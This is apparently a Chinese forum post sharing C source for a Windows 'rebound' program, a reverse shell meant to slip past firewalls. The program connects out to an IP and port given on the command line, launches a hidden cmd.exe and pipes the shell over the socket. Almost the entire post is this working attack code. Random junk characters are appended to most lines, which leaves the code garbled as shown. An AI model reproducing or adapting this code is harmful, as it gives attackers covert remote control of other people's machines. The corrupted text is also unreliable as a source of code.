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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3 ,;;C(  
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/* ============================== O.OPIQ=?:w  
Rebound port in Windows NT ]rk8Jsg  
By wind,2006/7 N1dv}!/*.+  
===============================*/ B'sgCU  
#include R)}ab{A  
#include b/^i  
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#pragma comment(lib,"wsock32.lib") nKxu8YAJe  
l@:|OGD;8  
void OutputShell(); 9Q)9*nHe  
SOCKET sClient; !Miw.UmPm  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y'n+,g  
j'xk [bM  
void main(int argc,char **argv) vq(ElXTO  
{ 9&]g2iT P  
WSADATA stWsaData;  %<[?;  
int nRet; /4K ^-  
SOCKADDR_IN stSaiClient,stSaiServer; B+)HDIPa-  
G_m$W3 zS  
if(argc != 3) ,e]|[,r#5  
{ 9:[L WT&  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6d%V=1^F  
return; i6Zsn#Z7)  
} _d<xxF^q  
O4Z_v%2M  
WSAStartup(MAKEWORD(2,2),&stWsaData); FR5P;Yz%H  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J*I G]2'H  
s1"dd7&g'  
stSaiClient.sin_family = AF_INET; Z@i"/~B|4\  
stSaiClient.sin_port = htons(0); pGO=3=O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); J%9)&a W  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wra$  
{ "CH3\O\  
printf("Bind Socket Failed!\n"); L_ &`  
return; ',>Pz+XKc  
} jPum2U_  
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stSaiServer.sin_family = AF_INET; ],.1=iY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cZVVJUF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +c&oF,=}!P  
]x12_+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '=eG[#gy  
{ lxVA:tz0  
printf("Connect Error!"); LN!e_b  
return; n\/ JNzd3  
} o$4xinK  
OutputShell(); )P|&o%E  
} P84uEDY  
*{K?JB#W  
void OutputShell() A3su!I2S  
{ D=>[~u3H  
char szBuff[1024]; _zuX6DO  
SECURITY_ATTRIBUTES stSecurityAttributes; z+~klv 3  
OSVERSIONINFO stOsversionInfo; }4dbS ;C<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8(jUCD  
STARTUPINFO stStartupInfo; ;1gWz  
char *szShell; 8? U!PW  
PROCESS_INFORMATION stProcessInformation; kuX{2h*`  
unsigned long lBytesRead; q2SlK8`QJ  
7k<6oM1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BSyl!>G6n8  
45 \W%8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sFrerv&0  
stSecurityAttributes.lpSecurityDescriptor = 0; %k+G-oT5  
stSecurityAttributes.bInheritHandle = TRUE; W08rGY  
wR(>' ?  
z\F#td{r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *IGCFZbp41  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Lo{g0~?x*  
AP:(/@K|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a7~%( L@r  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e]!`Cl-f80  
stStartupInfo.wShowWindow = SW_HIDE; !XtZI3Xu  
stStartupInfo.hStdInput = hReadPipe; &[Zg;r    
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; awC:{5R8v  
3<"!h1x5  
GetVersionEx(&stOsversionInfo); 1+Z@4;fk  
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switch(stOsversionInfo.dwPlatformId) x 8_nLZ  
{ vB<2f*U  
case 1: 8hZY Z /T  
szShell = "command.com"; V1]QuQ{&s  
break; Sy0-tK4  
default: `|2p1Ei  
szShell = "cmd.exe"; zKllwIf i  
break; 9!>Ks8'.d  
} (\zxiK  
yV4rS6=  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ug P  
P/ XO5`  
send(sClient,szMsg,77,0); 6eB2mcV  
while(1) S}}L& _  
{ # 9@K  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l'Kx#y$  
if(lBytesRead) x)0''}E~  
{ x o{y9VS  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s~tZN  
send(sClient,szBuff,lBytesRead,0); s9\N{ar#  
} ahmxbv3f=5  
else t`!@E#VK  
{ &W*do  
lBytesRead=recv(sClient,szBuff,1024,0); =cwdl7N&I  
if(lBytesRead<=0) break; ~:xR0dqx  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `=.A]) >  
} k>V~ iA  
} .Z9{\tj  
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return; mr[+\ 5  
}
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